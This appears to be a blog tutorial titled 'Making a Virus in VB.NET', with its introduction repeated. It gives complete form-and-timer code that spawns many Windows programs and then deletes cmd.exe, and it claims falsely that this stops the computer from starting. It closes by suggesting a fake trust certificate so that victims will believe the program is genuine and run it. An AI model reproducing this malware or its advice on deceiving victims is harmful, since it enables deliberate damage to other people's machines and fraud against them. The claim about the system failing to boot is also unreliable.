Making a Virus in VB.NET
DISCLAIMER: Try out this code at your own risk. We’re not responsible for any damage resulting from use of this code.
This is a very simple virus. It just starts a whole lot of programs and then after 10 seconds deletes the command file of windows so that the computer can’t be started.
Make a new Windows application with only one form.
Add 5 timers to it. Change the interval of the first 4 timers to 100 and make the interval of the last one 10000.
The interval is in milliseconds. It means that the timer will execute its tick event once every interval.
The names of the timer should be Timer1, Timer2, and so on and the name of the form should be Form1.
Double click the form and the following code to the Load event:
CODE:
DISCLAIMER: Try out this code at your own risk. We’re not responsible for any damage resulting from use of this code.
This is a very simple virus. It just starts a whole lot of programs and then after 10 seconds deletes the command file of windows so that the computer can’t be started.
Make a new Windows application with only one form.
Add 5 timers to it. Change the interval of the first 4 timers to 100 and make the interval of the last one 10000.
The interval is in milliseconds. It means that the timer will execute its tick event once every interval.
The names of the timer should be Timer1, Timer2, and so on and the name of the form should be Form1.
Double click the form and the following code to the Load event:
CODE:
Timer1.Enabled =
True
Then add the following code to the timer events.
Private
Sub
Timer1_Tick(
ByVal
sender
As
System.
Object
,
ByVal
e
As
System.EventArgs)
Handles
Timer1.Tick
Process.Start(
"C:\Windows\System32\control.exe"
)
Timer2.Enabled
=
True
End
Sub
Private
Sub
Timer2_Tick(
ByVal
sender
As
System.
Object
,
ByVal
e
As
System.EventArgs)
Handles
Timer2.Tick
Process.Start(
"C:\Program Files (x86)\Internet Explorer\iexplore.exe"
)
Timer3.Enabled =
True
End
Sub
Private
Sub
Timer3_Tick(
ByVal
sender
As
System.
Object
,
ByVal
e
As
System.EventArgs)
Handles
Timer3.Tick
Process.Start(
"C:\Windows\System32\paint.exe"
)
Timer4.Enabled =
True
End
Sub
Private
Sub
Timer4_Tick(
ByVal
sender
As
System.
Object
,
ByVal
e
As
System.EventArgs)
Handles
Timer4.Tick
Process.Start(
"C:\Windows\System32\notepad.exe"
)
Timer5.Enabled =
True
End
Sub
Private
Sub
Timer5_Tick(
ByVal
sender
As
System.
Object
,
ByVal
e
As
System.EventArgs)
Handles
Timer5.Tick
MsgBox(
"You are dead"
)
Timer1.Enabled =
False
Timer2.Enabled =
False
Timer3.Enabled =
False
Timer4.Enabled =
False
Kill(
"C:\WINDOWS\system32\cmd.exe"
)
Timer5.Enabled =
False
End
Sub
DONE!.
This is just a small demo. You can make endless things to fool people using a GUI application. You can also give the application the fake Trust certificate, so that the people will feel it as a genuine application and run it.
BYE!
No comments :
Post a Comment